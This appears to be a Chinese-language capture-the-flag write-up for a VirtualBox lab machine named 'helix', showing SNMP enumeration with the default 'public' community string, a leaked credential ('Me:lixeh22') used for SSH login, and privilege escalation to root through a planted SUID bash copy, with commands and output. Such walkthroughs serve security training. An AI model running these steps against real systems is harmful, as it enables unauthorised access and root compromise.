|   linux-libc-dev_6.12.74-2_all; 2026-04-30T20:48:06
|   linux-sysctl-defaults_4.12.1_all; 2026-04-28T16:48:55
|   locales_2.41-12+deb13u2_all; 2026-04-28T16:49:12
|   login.defs_1:4.17.4-2_all; 2026-04-28T16:48:20
|   login_1:4.16.0-2+really2.41-5_amd64; 2026-04-28T16:48:20
|   logrotate_3.22.0-1_amd64; 2026-04-28T16:48:57
|   logsave_1.47.2-3+b10_amd64; 2026-04-28T16:48:56
|   lsof_4.99.4+dfsg-2_amd64; 2026-04-28T16:55:12
|   make_4.4.1-2_amd64; 2026-04-30T21:09:53
|   man-db_2.13.1-1_amd64; 2026-04-28T16:55:13
|   manpages-dev_6.9.1-1_all; 2026-04-30T20:48:13
|   manpages-fr_4.27.0-1_all; 2026-04-28T16:55:24
|   manpages_6.9.1-1_all; 2026-04-28T16:55:13
|   mawk_1.3.4.20250131-1_amd64; 2026-04-28T16:48:14
|   media-types_13.0.0_all; 2026-04-28T16:55:03
|   mount_2.41-5_amd64; 2026-04-28T16:48:20
|   nano_8.4-1_amd64; 2026-04-28T16:48:58
|   ncurses-base_6.5+20250216-2_all; 2026-04-28T16:48:21
|   ncurses-bin_6.5+20250216-2_amd64; 2026-04-28T16:48:21
|   ncurses-term_6.5+20250216-2_all; 2026-04-28T16:55:13
|   net-tools_2.10-1.3_amd64; 2026-04-28T17:05:40
|   netbase_6.5_all; 2026-04-28T16:48:56
|   netcat-traditional_1.10-50_amd64; 2026-04-28T16:55:14
|   nftables_1.1.3-1_amd64; 2026-04-28T16:48:58
|   openssh-client_1:10.0p1-7+deb13u2_amd64; 2026-04-28T16:55:00
|   openssh-server_1:10.0p1-7+deb13u2_amd64; 2026-04-28T16:55:01
|   openssh-sftp-server_1:10.0p1-7+deb13u2_amd64; 2026-04-28T16:55:00
|   openssl-provider-legacy_3.5.5-1~deb13u2_amd64; 2026-04-28T16:53:25
|   openssl_3.5.5-1~deb13u2_amd64; 2026-04-28T16:55:09
|   os-prober_1.83_amd64; 2026-04-28T16:55:55
|   packagekit_1.3.1-1_amd64; 2026-05-01T11:18:41
|   passwd_1:4.17.4-2_amd64; 2026-04-28T16:48:23
|   patch_2.8-2_amd64; 2026-04-30T20:59:13
|   pci.ids_0.0~2025.06.09-1_all; 2026-04-28T16:49:41
|   pciutils_1:3.13.0-2_amd64; 2026-04-28T16:49:42
|   perl-base_5.40.1-6_amd64; 2026-04-28T16:48:18
|   perl-modules-5.40_5.40.1-6_all; 2026-04-28T16:55:14
|   perl_5.40.1-6_amd64; 2026-04-28T16:55:15
|   pk-payload-2219_1.0_all; 2026-04-28T16:55:14
|   polkitd_126-2_amd64; 2026-04-30T21:31:56
|   procps_2:4.0.4-9_amd64; 2026-04-28T16:48:59
|   publicsuffix_20250328.1952-0.1_all; 2026-04-28T16:55:25
|   python3_3.13.5-1_amd64; 2026-05-11T19:27:46
|   readline-common_8.2-6_all; 2026-04-28T16:48:56
|   reportbug_13.2.0_all; 2026-05-11T19:27:42
|   rpcsvc-proto_1.4.3-1_amd64; 2026-04-30T20:48:06
|   runit-helper_2.16.4_all; 2026-04-28T16:55:00
|   sed_4.9-2_amd64; 2026-04-28T16:48:24
|   sensible-utils_0.0.25_all; 2026-04-28T16:48:55
|   sgml-base_1.31+nmu1_all; 2026-04-30T21:31:55
|   shared-mime-info_2.4-5+b2_amd64; 2026-04-30T21:22:34
|   snmp_5.9.4+dfsg-2+deb13u1_amd64; 2026-05-05T16:08:33
|   snmpd_5.9.4+dfsg-2+deb13u1_amd64; 2026-05-05T16:10:30
|   sqv_1.3.0-3+b2_amd64; 2026-04-28T16:48:14
|   sudo_1.9.16p2-3+deb13u1_amd64; 2026-04-29T11:55:20
|   systemd-sysv_257.9-1~deb13u1_amd64; 2026-04-28T16:48:41
|   systemd-timesyncd_257.9-1~deb13u1_amd64; 2026-04-28T16:55:17
|   systemd_257.9-1~deb13u1_amd64; 2026-04-28T16:48:40
|   sysvinit-utils_3.14-4_amd64; 2026-04-28T16:48:24
|   tar_1.35+dfsg-3.1_amd64; 2026-04-28T16:48:19
|   task-french_3.81_all; 2026-04-28T16:55:25
|   task-ssh-server_3.81_all; 2026-04-28T16:55:25
|   tasksel-data_3.81_all; 2026-04-28T16:54:22
|   tasksel_3.81_all; 2026-04-28T16:54:22
|   traceroute_1:2.1.6-1_amd64; 2026-04-28T16:55:17
|   tzdata_2026a-0+deb13u1_all; 2026-04-28T16:48:27
|   ucf_3.0052_all; 2026-04-28T16:55:00
|   udev_257.9-1~deb13u1_amd64; 2026-04-28T16:49:00
|   usbutils_1:018-2_amd64; 2026-04-28T16:49:46
|   util-linux-extra_2.41-5_amd64; 2026-04-28T16:55:17
|   util-linux-locales_2.41-5_all; 2026-04-28T16:55:25
|   util-linux_2.41-5_amd64; 2026-04-28T16:48:28
|   vim-common_2:9.1.1230-2_all; 2026-04-28T16:49:01
|   vim-tiny_2:9.1.1230-2_amd64; 2026-04-28T16:49:01
|   wamerican_2020.12.07-4_all; 2026-04-28T16:55:17
|   wfrench_1.2.9-1_all; 2026-04-28T16:55:26
|   wget_1.25.0-2_amd64; 2026-04-28T16:55:18
|   whiptail_0.52.25-1_amd64; 2026-04-28T16:49:01
|   wtmpdb_0.73.0-3+deb13u1_amd64; 2026-04-28T16:55:18
|   xauth_1:1.1.2-1.1_amd64; 2026-04-28T16:55:26
|   xdg-user-dirs_0.18-2_amd64; 2026-04-30T21:22:35
|   xkb-data_2.42-1_all; 2026-04-28T16:49:49
|   xml-core_0.19_all; 2026-04-30T21:31:56
|   xz-utils_5.8.1-1_amd64; 2026-04-28T16:55:19
|   zlib1g_1:1.3.dfsg+really1.3.1-1+b1_amd64; 2026-04-28T16:48:15
|_  zstd_1.5.7+dfsg-1_amd64; 2026-04-28T16:49:16
| snmp-interfaces:
|   lo
|     IP address: 127.0.0.1  Netmask: 255.0.0.0
|     Type: softwareLoopback  Speed: 10 Mbps
|     Traffic stats: 0.00 Kb sent, 0.00 Kb received
|   enp0s3
|     IP address: 192.168.193.230  Netmask: 255.255.255.0
|     MAC address: 08:00:27:6b:4a:02 (Oracle VirtualBox virtual NIC)
|     Type: ethernetCsmacd  Speed: 1 Gbps
|     Traffic stats: 32.80 Mb sent, 103.65 Mb received
|   enp0s8
|     IP address: 169.254.188.205  Netmask: 255.255.0.0
|     MAC address: 08:00:27:60:a7:c3 (Oracle VirtualBox virtual NIC)
|     Type: ethernetCsmacd  Speed: 1 Gbps
|_    Traffic stats: 10.56 Kb sent, 0.49 Kb received
Service Info: Host: helix

snmp为高价值端口，我们接下来可以进行渗透测试了

2.渗透测试

在snmp中有个名为社区字符串的概念可理解为snmp端口的密码，默认为public ,我们可以尝试利用该凭据进行登录：

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  ~/渗透靶机/MazeSec_helix
❯  snmpwalk  -v2c -c public 192.168.193.230
iso.3.6.1.2.1.1.1.0 = STRING: "Linux helix 6.12.74+deb13+1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.74-2 (2026-03-08) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (218199) 0:36:21.99
iso.3.6.1.2.1.1.4.0 = STRING: "Me:lixeh22"
iso.3.6.1.2.1.1.5.0 = STRING: "helix"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (4) 0:00:00.04
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (4) 0:00:00.04
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (4) 0:00:00.04
iso.3.6.1.2.1.2.1.0 = INTEGER: 3
iso.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1
iso.3.6.1.2.1.2.2.1.1.2 = INTEGER: 2
iso.3.6.1.2.1.2.2.1.1.3 = INTEGER: 3
iso.3.6.1.2.1.2.2.1.2.1 = STRING: "lo"
iso.3.6.1.2.1.2.2.1.2.2 = STRING: "enp0s3"
iso.3.6.1.2.1.2.2.1.2.3 = STRING: "enp0s8"
iso.3.6.1.2.1.2.2.1.3.1 = INTEGER: 24
iso.3.6.1.2.1.2.2.1.3.2 = INTEGER: 6
iso.3.6.1.2.1.2.2.1.3.3 = INTEGER: 6
iso.3.6.1.2.1.2.2.1.4.1 = INTEGER: 65536
iso.3.6.1.2.1.2.2.1.4.2 = INTEGER: 1500
iso.3.6.1.2.1.2.2.1.4.3 = INTEGER: 1500
iso.3.6.1.2.1.2.2.1.5.1 = Gauge32: 10000000
iso.3.6.1.2.1.2.2.1.5.2 = Gauge32: 1000000000
iso.3.6.1.2.1.2.2.1.5.3 = Gauge32: 1000000000
iso.3.6.1.2.1.2.2.1.6.1 = ""
iso.3.6.1.2.1.2.2.1.6.2 = Hex-STRING: 08 00 27 6B 4A 02
iso.3.6.1.2.1.2.2.1.6.3 = Hex-STRING: 08 00 27 60 A7 C3
iso.3.6.1.2.1.2.2.1.7.1 = INTEGER: 1
iso.3.6.1.2.1.2.2.1.7.2 = INTEGER: 1
iso.3.6.1.2.1.2.2.1.7.3 = INTEGER: 1
iso.3.6.1.2.1.2.2.1.8.1 = INTEGER: 1
iso.3.6.1.2.1.2.2.1.8.2 = INTEGER: 1
iso.3.6.1.2.1.2.2.1.8.3 = INTEGER: 1
iso.3.6.1.2.1.2.2.1.9.1 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.2.2.1.9.2 = Timeticks: (310) 0:00:03.10
iso.3.6.1.2.1.2.2.1.9.3 = Timeticks: (310) 0:00:03.10
iso.3.6.1.2.1.2.2.1.10.1 = Counter32: 0
iso.3.6.1.2.1.2.2.1.10.2 = Counter32: 103969530
iso.3.6.1.2.1.2.2.1.10.3 = Counter32: 729
iso.3.6.1.2.1.2.2.1.11.1 = Counter32: 0
iso.3.6.1.2.1.2.2.1.11.2 = Counter32: 1435667
iso.3.6.1.2.1.2.2.1.11.3 = Counter32: 3
iso.3.6.1.2.1.2.2.1.12.1 = Counter32: 0
iso.3.6.1.2.1.2.2.1.12.2 = Counter32: 0
iso.3.6.1.2.1.2.2.1.12.3 = Counter32: 0
iso.3.6.1.2.1.2.2.1.13.1 = Counter32: 0
iso.3.6.1.2.1.2.2.1.13.2 = Counter32: 0
iso.3.6.1.2.1.2.2.1.13.3 = Counter32: 0
iso.3.6.1.2.1.2.2.1.14.1 = Counter32: 0
iso.3.6.1.2.1.2.2.1.14.2 = Counter32: 0
iso.3.6.1.2.1.2.2.1.14.3 = Counter32: 0
iso.3.6.1.2.1.2.2.1.15.1 = Counter32: 0
iso.3.6.1.2.1.2.2.1.15.2 = Counter32: 0
iso.3.6.1.2.1.2.2.1.15.3 = Counter32: 0
iso.3.6.1.2.1.2.2.1.16.1 = Counter32: 0
iso.3.6.1.2.1.2.2.1.16.2 = Counter32: 33139608
iso.3.6.1.2.1.2.2.1.16.3 = Counter32: 12954
iso.3.6.1.2.1.2.2.1.17.1 = Counter32: 0
iso.3.6.1.2.1.2.2.1.17.2 = Counter32: 549089
iso.3.6.1.2.1.2.2.1.17.3 = Counter32: 42
iso.3.6.1.2.1.2.2.1.18.1 = Counter32: 0
iso.3.6.1.2.1.2.2.1.18.2 = Counter32: 0
iso.3.6.1.2.1.2.2.1.18.3 = Counter32: 0
iso.3.6.1.2.1.2.2.1.19.1 = Counter32: 0
iso.3.6.1.2.1.2.2.1.19.2 = Counter32: 0
iso.3.6.1.2.1.2.2.1.19.3 = Counter32: 0
iso.3.6.1.2.1.2.2.1.20.1 = Counter32: 0
iso.3.6.1.2.1.2.2.1.20.2 = Counter32: 0
iso.3.6.1.2.1.2.2.1.20.3 = Counter32: 0
iso.3.6.1.2.1.2.2.1.21.1 = Gauge32: 0
iso.3.6.1.2.1.2.2.1.21.2 = Gauge32: 0
iso.3.6.1.2.1.2.2.1.21.3 = Gauge32: 0
iso.3.6.1.2.1.2.2.1.22.1 = OID: ccitt.0
iso.3.6.1.2.1.2.2.1.22.2 = OID: ccitt.0
iso.3.6.1.2.1.2.2.1.22.3 = OID: ccitt.0
iso.3.6.1.2.1.3.1.1.1.2.1.192.168.193.50 = INTEGER: 2
iso.3.6.1.2.1.3.1.1.1.2.1.192.168.193.123 = INTEGER: 2
iso.3.6.1.2.1.3.1.1.2.2.1.192.168.193.50 = Hex-STRING: 70 08 94 2E B7 41
iso.3.6.1.2.1.3.1.1.2.2.1.192.168.193.123 = Hex-STRING: 86 24 23 7D AC BA
iso.3.6.1.2.1.3.1.1.3.2.1.192.168.193.50 = IpAddress: 192.168.193.50
iso.3.6.1.2.1.3.1.1.3.2.1.192.168.193.123 = IpAddress: 192.168.193.123
iso.3.6.1.2.1.4.1.0 = INTEGER: 2
iso.3.6.1.2.1.4.2.0 = INTEGER: 64
iso.3.6.1.2.1.4.3.0 = Counter32: 1434517
iso.3.6.1.2.1.4.4.0 = Counter32: 0
iso.3.6.1.2.1.4.5.0 = Counter32: 3
iso.3.6.1.2.1.4.6.0 = Counter32: 0
iso.3.6.1.2.1.4.7.0 = Counter32: 0
iso.3.6.1.2.1.4.8.0 = Counter32: 0
iso.3.6.1.2.1.4.9.0 = Counter32: 1434512
iso.3.6.1.2.1.4.10.0 = Counter32: 549047
iso.3.6.1.2.1.4.11.0 = Counter32: 0
iso.3.6.1.2.1.4.12.0 = Counter32: 20
iso.3.6.1.2.1.4.13.0 = INTEGER: 0
iso.3.6.1.2.1.4.14.0 = Counter32: 0
iso.3.6.1.2.1.4.15.0 = Counter32: 0
iso.3.6.1.2.1.4.16.0 = Counter32: 0
iso.3.6.1.2.1.4.17.0 = Counter32: 0
iso.3.6.1.2.1.4.18.0 = Counter32: 0
iso.3.6.1.2.1.4.19.0 = Counter32: 0
iso.3.6.1.2.1.4.20.1.1.127.0.0.1 = IpAddress: 127.0.0.1
iso.3.6.1.2.1.4.20.1.1.169.254.188.205 = IpAddress: 169.254.188.205
iso.3.6.1.2.1.4.20.1.1.192.168.193.230 = IpAddress: 192.168.193.230
iso.3.6.1.2.1.4.20.1.2.127.0.0.1 = INTEGER: 1
iso.3.6.1.2.1.4.20.1.2.169.254.188.205 = INTEGER: 3
iso.3.6.1.2.1.4.20.1.2.192.168.193.230 = INTEGER: 2
iso.3.6.1.2.1.4.20.1.3.127.0.0.1 = IpAddress: 255.0.0.0
iso.3.6.1.2.1.4.20.1.3.169.254.188.205 = IpAddress: 255.255.0.0
iso.3.6.1.2.1.4.20.1.3.192.168.193.230 = IpAddress: 255.255.255.0
iso.3.6.1.2.1.4.20.1.4.127.0.0.1 = INTEGER: 0
iso.3.6.1.2.1.4.20.1.4.169.254.188.205 = INTEGER: 1
iso.3.6.1.2.1.4.20.1.4.192.168.193.230 = INTEGER: 1
iso.3.6.1.2.1.4.21.1.1.0.0.0.0 = IpAddress: 0.0.0.0
iso.3.6.1.2.1.4.21.1.1.169.254.0.0 = IpAddress: 169.254.0.0
iso.3.6.1.2.1.4.21.1.1.192.168.193.0 = IpAddress: 192.168.193.0
iso.3.6.1.2.1.4.21.1.2.0.0.0.0 = INTEGER: 2
iso.3.6.1.2.1.4.21.1.2.169.254.0.0 = INTEGER: 3
iso.3.6.1.2.1.4.21.1.2.192.168.193.0 = INTEGER: 2
iso.3.6.1.2.1.4.21.1.3.0.0.0.0 = INTEGER: 1
iso.3.6.1.2.1.4.21.1.3.169.254.0.0 = INTEGER: 0
iso.3.6.1.2.1.4.21.1.3.192.168.193.0 = INTEGER: 0
iso.3.6.1.2.1.4.21.1.7.0.0.0.0 = IpAddress: 192.168.193.123
iso.3.6.1.2.1.4.21.1.7.169.254.0.0 = IpAddress: 0.0.0.0
iso.3.6.1.2.1.4.21.1.7.192.168.193.0 = IpAddress: 0.0.0.0
iso.3.6.1.2.1.4.21.1.8.0.0.0.0 = INTEGER: 4
iso.3.6.1.2.1.4.21.1.8.169.254.0.0 = INTEGER: 3
iso.3.6.1.2.1.4.21.1.8.192.168.193.0 = INTEGER: 3
iso.3.6.1.2.1.4.21.1.9.0.0.0.0 = INTEGER: 2
iso.3.6.1.2.1.4.21.1.9.169.254.0.0 = INTEGER: 2
iso.3.6.1.2.1.4.21.1.9.192.168.193.0 = INTEGER: 2
iso.3.6.1.2.1.4.21.1.11.0.0.0.0 = IpAddress: 0.0.0.0
iso.3.6.1.2.1.4.21.1.11.169.254.0.0 = IpAddress: 255.255.0.0
iso.3.6.1.2.1.4.21.1.11.192.168.193.0 = IpAddress: 255.255.255.0
iso.3.6.1.2.1.4.21.1.13.0.0.0.0 = OID: ccitt.0
iso.3.6.1.2.1.4.21.1.13.169.254.0.0 = OID: ccitt.0
iso.3.6.1.2.1.4.21.1.13.192.168.193.0 = OID: ccitt.0
iso.3.6.1.2.1.4.22.1.1.2.192.168.193.50 = INTEGER: 2
iso.3.6.1.2.1.4.22.1.1.2.192.168.193.123 = INTEGER: 2
iso.3.6.1.2.1.4.22.1.2.2.192.168.193.50 = Hex-STRING: 70 08 94 2E B7 41
iso.3.6.1.2.1.4.22.1.2.2.192.168.193.123 = Hex-STRING: 86 24 23 7D AC BA
iso.3.6.1.2.1.4.22.1.3.2.192.168.193.50 = IpAddress: 192.168.193.50
iso.3.6.1.2.1.4.22.1.3.2.192.168.193.123 = IpAddress: 192.168.193.123
iso.3.6.1.2.1.4.22.1.4.2.192.168.193.50 = INTEGER: 3
iso.3.6.1.2.1.4.22.1.4.2.192.168.193.123 = INTEGER: 3
iso.3.6.1.2.1.4.23.0 = Counter32: 0
iso.3.6.1.2.1.4.24.4.1.1.0.0.0.0.0.0.0.0.0.0.0.0.0 = IpAddress: 0.0.0.0
iso.3.6.1.2.1.4.24.4.1.1.0.0.0.0.0.0.0.0.0.192.168.193.123 = IpAddress: 0.0.0.0
iso.3.6.1.2.1.4.24.4.1.1.169.254.0.0.255.255.0.0.0.0.0.0.0 = IpAddress: 169.254.0.0
iso.3.6.1.2.1.4.24.4.1.1.192.168.193.0.255.255.255.0.0.0.0.0.0 = IpAddress: 192.168.193.0
iso.3.6.1.2.1.4.24.4.1.2.0.0.0.0.0.0.0.0.0.0.0.0.0 = IpAddress: 0.0.0.0
iso.3.6.1.2.1.4.24.4.1.2.0.0.0.0.0.0.0.0.0.192.168.193.123 = IpAddress: 0.0.0.0
iso.3.6.1.2.1.4.24.4.1.2.169.254.0.0.255.255.0.0.0.0.0.0.0 = IpAddress: 255.255.0.0
iso.3.6.1.2.1.4.24.4.1.2.192.168.193.0.255.255.255.0.0.0.0.0.0 = IpAddress: 255.255.255.0
iso.3.6.1.2.1.4.24.4.1.3.0.0.0.0.0.0.0.0.0.0.0.0.0 = INTEGER: 0
iso.3.6.1.2.1.4.24.4.1.3.0.0.0.0.0.0.0.0.0.192.168.193.123 = INTEGER: 0
iso.3.6.1.2.1.4.24.4.1.3.169.254.0.0.255.255.0.0.0.0.0.0.0 = INTEGER: 0
iso.3.6.1.2.1.4.24.4.1.3.192.168.193.0.255.255.255.0.0.0.0.0.0 = INTEGER: 0
iso.3.6.1.2.1.4.24.4.1.4.0.0.0.0.0.0.0.0.0.0.0.0.0 = IpAddress: 0.0.0.0
iso.3.6.1.2.1.4.24.4.1.4.0.0.0.0.0.0.0.0.0.192.168.193.123 = IpAddress: 192.168.193.123
iso.3.6.1.2.1.4.24.4.1.4.169.254.0.0.255.255.0.0.0.0.0.0.0 = IpAddress: 0.0.0.0
iso.3.6.1.2.1.4.24.4.1.4.192.168.193.0.255.255.255.0.0.0.0.0.0 = IpAddress: 0.0.0.0
iso.3.6.1.2.1.4.24.4.1.5.0.0.0.0.0.0.0.0.0.0.0.0.0 = INTEGER: 3
iso.3.6.1.2.1.4.24.4.1.5.0.0.0.0.0.0.0.0.0.192.168.193.123 = INTEGER: 2

发现疑似账号密码：

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"Me:lixeh22"

3.获取立足点

尝试ssh:

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~/渗透靶机/MazeSec_helix
❯  ssh me@192.168.193.230
me@192.168.193.230's password:
Linux helix 6.12.74+deb13+1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.74-2 (2026-03-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 27 04:34:21 2026 from 192.168.193.50
me@helix:~$

4.权限提升

sudo -l无果,使用find查看

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me@helix:~$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/su
/var/tmp/.suid_bash

发现敏感文件/var/tmp/.suid_bash 看文件名得知是一个bash文件 尝试

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/var/tmp/.suid_bash -p 
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me@helix:~$ /var/tmp/.suid_bash -p
.suid_bash-5.2# id
uid=1001(me) gid=1001(me) euid=0(root) groupes=1001(me)
.suid_bash-5.2#

成功获取root shell

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.suid_bash-5.2# cat /root/root.txt
.suid_bash-5.2# cat /user/user.txt

靶机并不难，前期主要考验全面的信息收集能力，否则会出错，同时实战中也不要忽视snmp端口